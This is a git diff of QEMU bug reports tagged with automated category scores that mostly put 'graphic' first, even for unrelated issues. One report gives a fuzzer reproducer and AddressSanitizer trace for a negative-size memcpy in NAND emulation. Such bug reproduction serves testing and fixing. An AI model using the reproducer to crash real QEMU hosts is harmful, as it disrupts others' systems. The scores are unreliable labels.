@@ -0,0 +1,21 @@ +graphic: 0.977 +boot: 0.945 +device: 0.842 +performance: 0.569 +files: 0.381 +network: 0.345 +semantic: 0.295 +socket: 0.282 +debug: 0.226 +permissions: 0.193 +vnc: 0.190 +PID: 0.100 +other: 0.060 +KVM: 0.042 + +Nitrux doesn't finish boot process +Description of problem: +Boot process doesn't finish + +Steps to reproduce: +1.Load Nitrux ISO diff --git a/results/classifier/108/graphic/1439800 b/results/classifier/108/graphic/1439800 new file mode 100644 index 000000000..085fce2ce --- /dev/null +++ b/results/classifier/108/graphic/1439800 @@ -0,0 +1,28 @@ +graphic: 0.933 +device: 0.895 +performance: 0.666 +network: 0.628 +boot: 0.620 +semantic: 0.610 +vnc: 0.456 +files: 0.439 +debug: 0.417 +other: 0.356 +socket: 0.352 +PID: 0.351 +permissions: 0.301 +KVM: 0.126 + +GTK fullscreen mode start stretched but fixes after leaving and returning full screen mode + +I'm running QEMU 2.2.91 compiled directly from git and starting QEMU with the -full-screen option. The guest OS is Windows 8.1 using the VGA driver from QEMU. + +The image can be fixed leaving the full-screen mode and returning it back. So it appears that QEMU loses the information with multiple resolution changes of the boot process and fails in the end. + +The description can be a little confusing, so I've put a video on Youtube, so it can demonstrate the real issue: +https://www.youtube.com/watch?v=-lWbWEUOSsk + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU and the latest version of GTK? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1445 b/results/classifier/108/graphic/1445 new file mode 100644 index 000000000..d0fe09d40 --- /dev/null +++ b/results/classifier/108/graphic/1445 @@ -0,0 +1,142 @@ +graphic: 0.955 +other: 0.923 +debug: 0.916 +permissions: 0.915 +performance: 0.904 +device: 0.901 +semantic: 0.898 +PID: 0.888 +vnc: 0.887 +KVM: 0.882 +socket: 0.878 +boot: 0.842 +files: 0.826 +network: 0.826 + +Negative-size-param in nand_blk_load_512() +Description of problem: +Found a way to trigger negative-size-param when calling memcpy in +nand_blk_load_512() called by nand_getio(). Specifically, the offset can +be larger than NAND_PAGE_SIZE + OOB_SIZE, e.g., 0x211. + +``` c + if (s->blk) { + // ... + } else { + memcpy(s->io, s->storage + PAGE_START(s->addr) + + // offset=0x211 + offset, NAND_PAGE_SIZE + OOB_SIZE - offset); + s->ioaddr = s->io; + } +``` +Steps to reproduce: +``` +export QEMU=/path/to/qemu-system-arm + +cat << EOF | $QEMU \ +-machine tosa -monitor none -serial none \ +-display none -qtest stdio +write 0x10000104 0x1 0x7f +write 0x10000111 0x1 0x52 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +read 0x10005200 0x1 +write 0x10005204 0x1 0x15 +write 0x10005201 0x1 0x70 +write 0x10005202 0x1 0x50 +read 0x10005203 0x1 +read 0x10005203 0x1 +EOF +``` +Additional information: +``` +=20435==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases! +INFO: found LLVMFuzzerCustomMutator (0x5645f46c0ac0). Disabling -len_control by default. +INFO: Running with entropic power schedule (0xFF, 100). +INFO: Seed: 3601248722 +INFO: Loaded 1 modules (601321 inline 8-bit counters): 601321 [0x5645f75ae000, 0x5645f7640ce9), +INFO: Loaded 1 PC tables (601321 PCs): 601321 [0x5645f6c801e0,0x5645f75ad070), +/root/videzzo/videzzo_qemu/out-san/qemu-videzzo-arm-target-videzzo-fuzz-tc6393xb: Running 1 inputs 1 time(s) each. +INFO: Reading pre_seed_input if any ... +INFO: Executing pre_seed_input if any ... +Matching objects by name , *tc6393xb* +This process will fuzz the following MemoryRegions: + * tc6393xb.vram[0] (size 100000) + * tc6393xb[0] (size 10000) +This process will fuzz through the following interfaces: + * clock_step, EVENT_TYPE_CLOCK_STEP, 0xffffffff +0xffffffff, 255,255 + * tc6393xb.vram, EVENT_TYPE_MMIO_READ, 0x10100000 +0x100000, 1,4 + * tc6393xb.vram, EVENT_TYPE_MMIO_WRITE, 0x10100000 +0x100000, 1,4 + * tc6393xb, EVENT_TYPE_MMIO_READ, 0x10000000 +0x10000, 1,1 + * tc6393xb, EVENT_TYPE_MMIO_WRITE, 0x10000000 +0x10000, 1,1 +INFO: A corpus is not provided, starting from an empty corpus +#2 INITED cov: 3 ft: 4 corp: 1/1b exec/s: 0 rss: 280Mb +Running: poc-qemu-videzzo-arm-target-videzzo-fuzz-tc6393xb-crash-55c2b01921c18ce020fa35319af4632834e116be.minimized +================================================================= +==20435==ERROR: AddressSanitizer: negative-size-param: (size=-1) + #0 0x5645effd2656 in __asan_memcpy /root/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 + #1 0x5645f040b342 in nand_blk_load_512 /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/block/nand.c:794:9 + #2 0x5645f03f1f64 in nand_getio /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/block/nand.c:601:9 + #3 0x5645f08acc9a in tc6393xb_nand_readb /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/display/tc6393xb.c:359:20 + #4 0x5645f08a53fc in tc6393xb_readb /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/display/tc6393xb.c:500:21 + #5 0x5645f36b308b in memory_region_read_accessor /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/memory.c:440:11 + #6 0x5645f3673391 in access_with_adjusted_size /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/memory.c:554:18 + #7 0x5645f367075c in memory_region_dispatch_read1 /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/memory.c:1424:16 + #8 0x5645f366fe98 in memory_region_dispatch_read /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/memory.c:1457:9 + #9 0x5645f36ec09d in flatview_read_continue /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/physmem.c:2892:23 + #10 0x5645f36ed6a8 in flatview_read /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/physmem.c:2934:12 + #11 0x5645f36ed168 in address_space_read_full /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/physmem.c:2947:18 + #12 0x5645f000e7ea in address_space_read /root/videzzo/videzzo_qemu/qemu/include/exec/memory.h:2869:18 + #13 0x5645f000e7ea in qemu_readb /root/videzzo/videzzo_qemu/qemu/build-san-6/../tests/qtest/videzzo/videzzo_qemu.c:1017:5 + #14 0x5645f000d97e in dispatch_mmio_read /root/videzzo/videzzo_qemu/qemu/build-san-6/../tests/qtest/videzzo/videzzo_qemu.c:1041:35 + #15 0x5645f46bc47f in videzzo_dispatch_event /root/videzzo/videzzo.c:1122:5 + #16 0x5645f46b37fb in __videzzo_execute_one_input /root/videzzo/videzzo.c:272:9 + #17 0x5645f46b36d0 in videzzo_execute_one_input /root/videzzo/videzzo.c:313:9 + #18 0x5645f00240fc in videzzo_qemu /root/videzzo/videzzo_qemu/qemu/build-san-6/../tests/qtest/videzzo/videzzo_qemu.c:1504:12 + #19 0x5645f46c0d62 in LLVMFuzzerTestOneInput /root/videzzo/videzzo.c:1891:18 + #20 0x5645eff05816 in fuzzer::Fuzzer::ExecuteCallback(unsigned char*, unsigned long) /root/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:594:17 + #21 0x5645efee8444 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /root/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:323:21 + #22 0x5645efef33ee in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char*, unsigned long)) /root/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:885:19 + #23 0x5645efedf9d6 in main /root/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:30 + #24 0x7fbc03b97082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 + #25 0x5645efedfa2d in _start (/root/videzzo/videzzo_qemu/out-san/qemu-videzzo-arm-target-videzzo-fuzz-tc6393xb+0x300ea2d) + +0x7fbbf45ffa11 is located 529 bytes inside of 69206016-byte region [0x7fbbf45ff800,0x7fbbf87ff800) +allocated by thread T0 here: + #0 0x5645effd36cf in malloc /root/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3 + #1 0x7fbc04e4ee98 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x57e98) + #2 0x5645f3a1bdcb in device_set_realized /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/core/qdev.c:553:13 + #3 0x5645f3a53a6b in property_set_bool /root/videzzo/videzzo_qemu/qemu/build-san-6/../qom/object.c:2273:5 + #4 0x5645f3a4c99d in object_property_set /root/videzzo/videzzo_qemu/qemu/build-san-6/../qom/object.c:1408:5 + #5 0x5645f3a60329 in object_property_set_qobject /root/videzzo/videzzo_qemu/qemu/build-san-6/../qom/qom-qobject.c:28:10 + #6 0x5645f3a4d6fd in object_property_set_bool /root/videzzo/videzzo_qemu/qemu/build-san-6/../qom/object.c:1477:15 + #7 0x5645f3a0d5c2 in qdev_realize /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/core/qdev.c:333:12 + #8 0x5645f03f3f30 in nand_init /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/block/nand.c:646:5 + #9 0x5645f08a44c2 in tc6393xb_init /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/display/tc6393xb.c:558:16 + #10 0x5645f27b7822 in tosa_init /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/arm/tosa.c:250:12 + #11 0x5645f05dc5d7 in machine_run_board_init /root/videzzo/videzzo_qemu/qemu/build-san-6/../hw/core/machine.c:1400:5 + #12 0x5645f2269aab in qemu_init_board /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/vl.c:2485:5 + #13 0x5645f22697bc in qmp_x_exit_preconfig /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/vl.c:2581:5 + #14 0x5645f2270d3f in qemu_init /root/videzzo/videzzo_qemu/qemu/build-san-6/../softmmu/vl.c:3584:9 + #15 0x5645f00223f3 in LLVMFuzzerInitialize /root/videzzo/videzzo_qemu/qemu/build-san-6/../tests/qtest/videzzo/videzzo_qemu.c:1761:5 + #16 0x5645efeeffab in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char*, unsigned long)) /root/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:664:29 + #17 0x5645efedf9d6 in main /root/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:30 + #18 0x7fbc03b97082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 + +SUMMARY: AddressSanitizer: negative-size-param /root/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy +==20435==ABORTING +MS: 0 ; base unit: 0000000000000000000000000000000000000000 +``` diff --git a/results/classifier/108/graphic/1451067 b/results/classifier/108/graphic/1451067 new file mode 100644 index 000000000..281b2dd38 --- /dev/null +++ b/results/classifier/108/graphic/1451067 @@ -0,0 +1,68 @@ +graphic: 0.923 +network: 0.913 +permissions: 0.800 +device: 0.788 +PID: 0.767 +debug: 0.767 +semantic: 0.765 +performance: 0.757 +other: 0.734 +socket: 0.732 +files: 0.721 +boot: 0.623 +vnc: 0.568 +KVM: 0.436 + +-smb option requires full path for Samba sharing to work + +This issue has been reported on qemu-devel a looong time ago: https://lists.gnu.org/archive/html/qemu-devel/2005-12/msg00141.html + +QEMU version 2.2.1-4 on Arch Linux x86_64 + +Steps to reproduce: + +host$ mkdir share +host$ chmod o+rwx share +host$ qemu <other options> -smb share + +vm$ smbclient //10.0.2.4/qemu -N +smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it +Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.2.1] +tree connect failed: NT_STATUS_BAD_NETWORK_NAME +vm$ poweroff + +Workaround: + +host$ qemu <other options> -smb /full/path/to/share + +vm$ $ smbclient //10.0.2.4/qemu -N +smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it +Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.2.1] +smb: \> ls + . D 0 Sat May 2 19:57:31 2015 + .. D 0 Sat May 2 19:57:31 2015 + + 961302540 blocks of size 1024. 637557248 blocks available +smb: \> quit + +Please, please fix this gotcha, whether in the documentation or in code. it can cause some serious bouts of hair-pulling. + +-Alain + +On my system, `qemu` is an alias for `qemu-system-x86_64`. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1455 b/results/classifier/108/graphic/1455 new file mode 100644 index 000000000..1c4735806 --- /dev/null +++ b/results/classifier/108/graphic/1455 @@ -0,0 +1,18 @@ +graphic: 0.960 +device: 0.928 +performance: 0.835 +debug: 0.742 +semantic: 0.659 +other: 0.575 +network: 0.256 +PID: 0.185 +files: 0.117 +vnc: 0.110 +permissions: 0.102 +socket: 0.091 +boot: 0.038 +KVM: 0.003 + +copy-paste not working +Description of problem: +copy-paste not working under Sway (wayland - wlroots) when I use `-display gtk`. This was broken recently. I have `spice-vdagent` as well as `spice-vdagentd` running properly in the guest, still copy-paste not working. diff --git a/results/classifier/108/graphic/1468 b/results/classifier/108/graphic/1468 new file mode 100644 index 000000000..df8a5227a --- /dev/null +++ b/results/classifier/108/graphic/1468 @@ -0,0 +1,21 @@ +graphic: 0.953 +other: 0.935 +performance: 0.923 +debug: 0.874 +semantic: 0.860 +device: 0.789 +permissions: 0.448 +boot: 0.413 +PID: 0.377 +vnc: 0.375 +socket: 0.370 +network: 0.363 +files: 0.174 +KVM: 0.131 + +qemu hangs on white windows when connecting to virtual port using -serial option when using Windows OS +Description of problem: +I was trying to connect windbg with a qemu vm. +First I try using named pipes but all the tutorials I found online result in the qemu windows not even showing. So I give up and trying to use virtual COMs to connect the qemu machine with windbg over serial port. So I created using professional Virtual come driver a link between COM2 and COM4. Now I run qemu with -serial COM2 and I do not run windbg than it run correctly and no problem is present. As soon as I run windbg qemu hangs at startup just after the main window is created. The qemu window remains white and windows shows the normal "The application is not responding". It's like the program is in a infinite loop situation. +Also I noted that If I run qemu and not windbg as soon as the other COM port is connected qemu would stop working and remain frozed. Again showing the "The application is not responding". +If instead of qemu I use other "commercial" software with the same setup (of course there I could use named pipes anyway) I can connect windbg with the machine and do the debug session. diff --git a/results/classifier/108/graphic/1470720 b/results/classifier/108/graphic/1470720 new file mode 100644 index 000000000..53a331d3a --- /dev/null +++ b/results/classifier/108/graphic/1470720 @@ -0,0 +1,68 @@ +graphic: 0.921 +performance: 0.792 +network: 0.704 +KVM: 0.531 +other: 0.523 +semantic: 0.500 +device: 0.498 +debug: 0.462 +files: 0.366 +vnc: 0.354 +PID: 0.347 +socket: 0.267 +permissions: 0.209 +boot: 0.140 + +high IRQ-TLB generates network interruptions + + we are having a problem in our hosts, all the vm running on them suddenly, and for some seconds, lost network connectivity. + +the root cause appears to be the increase of irb-tlb from low values (less than 20) to more than >100k, that spike only last for some seconds then everything goes back to normal + +i've upload an screenshot of collectd for one hypervisor here +http://zumbi.com.ar/tmp/irq-tlb.png + + +we have hosts running precise (qemu 1.5, ovs 2.0.2, libvirt 1.2.2 and kernel 3.13) where the issue is frequent. also we have an small % of our fleet running trusty (qemu 2.0.0 ovs 2.0.2 libvirt 1.2.2 and kernel 3.16) where the problem seemed to be nonexistent until today + +issue seems to be isolated to < 10% of our hypervisors, some hypervisors had this problem every few days, others only once or twice. our vm are a black box to us we don't know what users run on them, but mostly cpu and network bound workload. +most of our guests run centos 6.5 (kernel 2.6.32) + +vm are bridged to a linuxbridge then veth wired to an ovs switch (neutron openvswitch agent setup) + + + +maybe first part is not clear, here it goes again + + this happens on some hypervisors at random times, not all hypervisors at the same time, and affects all vm on the hypervisor + +overcommit ratio on latest server i had the problem is 3.6 (3.6 vcpu for each cpu), would that be part of the problem? i see other servers that never had the problem with over commit ratios as high as 4.1 + +Seeing the same here, also happens on overbooked hypervisors. + +Just one or two hosts have this behaviour. + +We are using: +qemu-kvm 2.0.0+dfsg-2ubuntu1.25 +libvirt-bin 1.2.9 +kernel 3.13.0-92-generic + +We are using contrail as a SDN. + +It looks like it started after upgrading a bunch of packages including kernel (we came from 3.13.0-83-generic) + + +Disabling huge pages seem to help. +Strangely this should theoretically increase the issue but it so far we have not seen issues after disabling THP. +(have not seen high load spikes in a week but this might also be holiday related) + +So other people can try it out: +echo never >/sys/kernel/mm/transparent_hugepage/defrag +echo never > /sys/kernel/mm/transparent_hugepage/enabled + + + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1471 b/results/classifier/108/graphic/1471 new file mode 100644 index 000000000..b5e2f339e --- /dev/null +++ b/results/classifier/108/graphic/1471 @@ -0,0 +1,31 @@ +graphic: 0.967 +device: 0.844 +network: 0.791 +semantic: 0.783 +PID: 0.731 +other: 0.722 +performance: 0.677 +socket: 0.669 +vnc: 0.600 +debug: 0.590 +files: 0.427 +permissions: 0.333 +boot: 0.296 +KVM: 0.028 + +16fc5726a6 breaks curl SSL connections +Description of problem: +`./qemu-x86_64 /path/to/curl-amd64 https://news.bbc.co.uk` should work, just as `./qemu-aarch64 /path/to/curl-aarch64 https://news.bbc.co.uk` does. However, commit 16fc5726a6e296b3f63acec537c299c1dc49d6c4 broke this (determined via `git bisect`). +Steps to reproduce: +1. Checkout and build `qemu` commit 16fc5726a6e296b3f63acec537c299c1dc49d6c4 +2. On an aarch64 host system, download the amd64 build of `curl` from https://github.com/moparisthebest/static-curl/releases/tag/v7.87.0 +3. Run `./qemu-x86_64 /path/to/curl-amd64 https://news.bbc.co.uk` +4. Observe the following error message: + +``` +curl: (35) error:1416D07B:SSL routines:tls_process_key_exchange:bad signature +``` + +Note that the `aarch64` equivalent works just fine. As does the previous commit using `amd64`. + +Also note, this bug is also present at current tip (13356edb87506c148b163b8c7eb0695647d00c2a). diff --git a/results/classifier/108/graphic/1474 b/results/classifier/108/graphic/1474 new file mode 100644 index 000000000..879abf23a --- /dev/null +++ b/results/classifier/108/graphic/1474 @@ -0,0 +1,23 @@ +graphic: 0.978 +device: 0.851 +performance: 0.805 +semantic: 0.596 +vnc: 0.566 +files: 0.463 +network: 0.463 +other: 0.388 +KVM: 0.380 +PID: 0.348 +debug: 0.334 +socket: 0.318 +boot: 0.272 +permissions: 0.017 + +qemu stuck at creating vm when enabling sgx feature +Description of problem: +After execute the command line, qemu stucked. + + + + +After the info in the png, qemu clear the screen and then nothing happend. diff --git a/results/classifier/108/graphic/1475 b/results/classifier/108/graphic/1475 new file mode 100644 index 000000000..fa10f4907 --- /dev/null +++ b/results/classifier/108/graphic/1475 @@ -0,0 +1,29 @@ +graphic: 0.928 +device: 0.913 +network: 0.853 +performance: 0.825 +socket: 0.802 +PID: 0.790 +files: 0.788 +semantic: 0.645 +vnc: 0.533 +permissions: 0.525 +other: 0.403 +boot: 0.385 +debug: 0.332 +KVM: 0.195 + +qemu-img: GLib: g_hash_table_foreach_remove: assertion 'hash_table != NULL' failed +Description of problem: +Mixing driver=https with an http URL gives this assert fail in glib2: + +``` +$ ~/d/qemu/build/qemu-img convert -p -W -f qcow2 'json:{ "file.readahead": 67108864, "file.driver": "https", "file.url": "http://web/tmp/jammy-server-cloudimg-amd64.qcow2", "file.timeout":2000 }' -O raw jammy-server-cloudimg-amd64.img.raw +qemu-img: GLib: g_hash_table_foreach_remove: assertion 'hash_table != NULL' failed +qemu-img: GLib: g_hash_table_destroy: assertion 'hash_table != NULL' failed +qemu-img: Could not open 'json:{ "file.readahead": 67108864, "file.driver": "https", "file.url": "http://web/tmp/jammy-server-cloudimg-amd64.qcow2", "file.timeout":2000 }': https curl driver cannot handle the URL 'http://oirase.annexia.org/tmp/jammy-server-cloudimg-amd64.qcow2' (does not start with 'https://') +``` + +(It seems to be a warning rather than a crash) +Steps to reproduce: +1. Run the command above. diff --git a/results/classifier/108/graphic/1479632 b/results/classifier/108/graphic/1479632 new file mode 100644 index 000000000..df63914f4 --- /dev/null +++ b/results/classifier/108/graphic/1479632 @@ -0,0 +1,86 @@ +graphic: 0.954 +boot: 0.953 +device: 0.924 +other: 0.920 +semantic: 0.894 +performance: 0.885 +PID: 0.833 +socket: 0.720 +KVM: 0.702 +files: 0.699 +vnc: 0.689 +permissions: 0.684 +network: 0.680 +debug: 0.675 + +dos crashing no sound + +I use this command when I use sound in a program there is no sound and sometimes the program crashes or hangs with no mouse +working. I can though reset with the system with the control menu, but this is further hard to use, because there is no option to scroll through all the commands, I did not visited a wiki page yet. + +This is my command. + +qemu-system-i386 -soundhw all -m 1g -boot menu=on -hda dos622_1.img -boot d + +I have quite freed up some memory, but that didn't help. + +I used qemu because of a bug in dosbox, but that appeared to be the unclutter program and I have now uninstalled it. + +Not to mention that I did not knew that qemu is in such a beta phase. + +Regards, + +BCJ2014 + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +Hello, I also am afraid thet in the image there is no sound driver, +maybe that's the problem. +And its so long ago that you can close it. + +2018-07-24 9:27 GMT+02:00, Thomas Huth <email address hidden>: +> Looking through old bug tickets... can you still reproduce this issue +> with the latest version of QEMU? Or could we close this ticket nowadays? +> +> ** Changed in: qemu +> Status: New => Incomplete +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1479632 +> +> Title: +> dos crashing no sound +> +> Status in QEMU: +> Incomplete +> +> Bug description: +> I use this command when I use sound in a program there is no sound and +> sometimes the program crashes or hangs with no mouse +> working. I can though reset with the system with the control menu, but +> this is further hard to use, because there is no option to scroll through +> all the commands, I did not visited a wiki page yet. +> +> This is my command. +> +> qemu-system-i386 -soundhw all -m 1g -boot menu=on -hda dos622_1.img +> -boot d +> +> I have quite freed up some memory, but that didn't help. +> +> I used qemu because of a bug in dosbox, but that appeared to be the +> unclutter program and I have now uninstalled it. +> +> Not to mention that I did not knew that qemu is in such a beta phase. +> +> Regards, +> +> BCJ2014 +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1479632/+subscriptions +> + + diff --git a/results/classifier/108/graphic/1492649 b/results/classifier/108/graphic/1492649 new file mode 100644 index 000000000..4a97ed055 --- /dev/null +++ b/results/classifier/108/graphic/1492649 @@ -0,0 +1,60 @@ +graphic: 0.978 +device: 0.916 +performance: 0.899 +other: 0.804 +semantic: 0.749 +PID: 0.625 +permissions: 0.624 +vnc: 0.502 +debug: 0.492 +socket: 0.482 +network: 0.452 +boot: 0.419 +files: 0.357 +KVM: 0.159 + +QEMU soundhw HDA huge microphone lag + +I use a Windows 7 x86_64 guest with VGA passthrough and -soundhw hda. The audio plays fine, but the microphone input is delayed by more than 20 seconds. + +-soundhw ac97 does not have this delay but it has choppy sound playback and input. + +System: +Arch linux +Kernel: 4.1.6-1-ARCH +Audio hardware: 00:1b.0 Audio device: Intel Corporation 82801JI (ICH10 Family) HD Audio Controller +Audio system: Pulseaudio 6.0 + +I seem to have this issue too. Using latest 15.04 Ubuntu, qemu and -soundhw all. + +I can reproduce this on Windows 10 (64bit) with hda device. + +Host kernel is 4.1.13-rt15-1-rt, also tried with non-realtime kernel with same results. + +Output works without delay, given it is choppy from time to time. +Using the following env vars when starting QEMU: + +QEMU_AUDIO_DRV: pa +QEMU_PA_SAMPLE: 32 # also tried with 128, 256, 512 and 1024. Same results for input, output got less choppy but with notable latency +QEMU_PA_SERVER: unix:/run/user/1000/pulse/native # where user with uid is the user with Xorg and PA session, of course. + + + +I cannot figure out why - but, it would seem the input ringbuffer is not processed till the buffer is full. +As an ugly workaround, i tried to set the buffering attributes to the input section - which reduced the delay to less then a second. (important part here is ba.maxlength) + +I've got this issue too on windows 10 with QEMU emulator version 3.1.0 (Debian 1:3.1+dfsg-4). It seems to only occur when the device isn't used in the windows host for a while by any application. If an application opens the capture device, the delay slowly gets smaller until it's only a 4th of a second. + +My uneducated guess is that the pa/hda driver isn't dequeuing the buffer unless the device is opened and being used by an application. This should not be happening, it should move the read pointer to the sample length even if the device isn't being used. + +Proofread your comments, guys... oops + +So it's a debian HOST and windows GUEST, not windows host. :-l + +Sorry for the double post. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1496712 b/results/classifier/108/graphic/1496712 new file mode 100644 index 000000000..f8f02a3c9 --- /dev/null +++ b/results/classifier/108/graphic/1496712 @@ -0,0 +1,57 @@ +graphic: 0.931 +permissions: 0.845 +device: 0.839 +debug: 0.808 +PID: 0.808 +semantic: 0.776 +files: 0.766 +performance: 0.733 +socket: 0.693 +boot: 0.658 +network: 0.646 +KVM: 0.603 +vnc: 0.587 +other: 0.564 + +no bootable device after qemu-img convert parallels windows 2012 r2 to raw/qcow2 + +Hello +We have converted a parallels windows 2012 R2 image with the command +qemu-img convert -p -f parallels -O raw ./TestLibvirt.pvm/TestLibvirtMig-0.hdd/TestLibvirtMig-0.hdd.0.hds /var/lib/libvirt/images/testlibvirtmig.raw + +Afterthat we have created a new entry with virtual machine manager and used this raw-hdd file as "import existing disk image" + +Then we booted this virtual server and we got the error +"Booting from Hard Disk" +"no Bootable device" + +Test 1: we also tried to "overwrite" the windows server drive +1. Create a vm with windows 2012 r2 (W2K12R2) with virtual machine manager. Which runs good +2. Then we mounted in the command line the "no bootable device" server as source (raw image) + mount /ev/mapper/loop0p4 /mnt/source +3. Then we mounted the new created (W2K12R2) as target (raw image) + mount /ev/mapper/loop1p2 /mnt/target +4. with the copy command we have overwritten all files on the windows drive + rsync -av --delete /mnt/source/* /mnt/target/ +5. reboot the server and we have a blue screen and it tells me something prl_strg.sys + "your PC ran into a problem and needs to restart ...... If you'd like to know more, you can search online later for this error: SYSTEM_THREAD_EXCEPTION_NOT_HANDLED(prl_strg.sys) + +Test 2: We also did a qemu-img convert from an ubuntu 14.04 disk and this works perfect. + +Thanks a lot +Moritz + +PS: Installation of Host-Server uses: ubuntu vivid 15.04 with +qemu-system 1:2.2+dfsg-5expubuntu9.4 +libvirt-bin 1.2.12-0ubuntu14.2 +libvirt-glib-1.0-0 0.1.9-4 +libvirt0 1.2.12-0ubuntu14.2 +virt-manager 1:1.0.1-5ubuntu1 + + + +Looking through old bug tickets... can you still reproduce this issue with the latest *upstream* version of QEMU? Or could we close this ticket nowadays? (or in case you want to get support for qemu-img from Ubuntu instead, please use the "qemu" Ubuntu package as target, not the "qemu" project target) + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1499 b/results/classifier/108/graphic/1499 new file mode 100644 index 000000000..30301e557 --- /dev/null +++ b/results/classifier/108/graphic/1499 @@ -0,0 +1,105 @@ +graphic: 0.957 +other: 0.943 +semantic: 0.941 +performance: 0.936 +debug: 0.934 +socket: 0.921 +vnc: 0.919 +PID: 0.912 +network: 0.910 +KVM: 0.905 +device: 0.901 +permissions: 0.885 +boot: 0.881 +files: 0.815 + +qemu-system-arm doesn't honour CPACR.ASEDIS, D32DIS +Description of problem: +We used differential testing to compared the instruction consistency (ARMv7) between QEMU and raspberry pi 2B in system level and some inconsistency in SIMD instruction was detected. + +We compiled the kernel with options `-mcpu=cortex-a7 -march=armv7ve -mfloat-abi=hard -mfpu=vfpv4 `. Some SIMD instructions are considered as **undefined** instructions in raspi2b, but run successfully in the QEMU. + +We checked that the CPACR.ASEDIS=1, which disables Advanced SIMD functionality, according to ARMv7-a manual B4.1.40. The manual says "All instruction encodings identified in the Alphabetical list of instructions on page A8-300 as being Advanced SIMD instructions, but that are not VFPv3 or VFPv4 +instructions, are UNDEFINED when accessed from PL1 and PL0 modes." + +Tested instruction samples are shown as follows: + +- VMAX_int_T1A1_A 11110010010010110000011010100100 0xf24b06a4 +- VMUL_scalar_A1_A 11110010101001001100100 001000011 0xf2a4c843 +- VADD_int_T1A1_A 11110010000111111010100000001100 0xf21fa80c + +... + +Some checks of the SIMD instructions may be needed before the execution of the instructions in function ` do_3same` etc. in target/arm/translate-neon.c. +Steps to reproduce: +1. Compile a kernel module to run the test instruction in PL1. +2. Hook a undefined handler in kernel module to catch the undefined instructions. A kernel module template we used to test is as follows + +```c +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/traps.h> + +MODULE_LICENSE("GPL"); +#pragma GCC optimize ("O0") +// instr is undefined instruction value +static int undef_instr_handler(struct pt_regs *regs, u32 instr) +{ + printk(KERN_INFO "get undefined instruction\n"); + // Just skip over to the next instruction. + regs->ARM_pc += 4; + return 0; // All fine! +} + +static struct undef_hook uh = { + .instr_mask = 0x0, // any instruction + .instr_val = 0x0, // any instruction + .cpsr_mask = 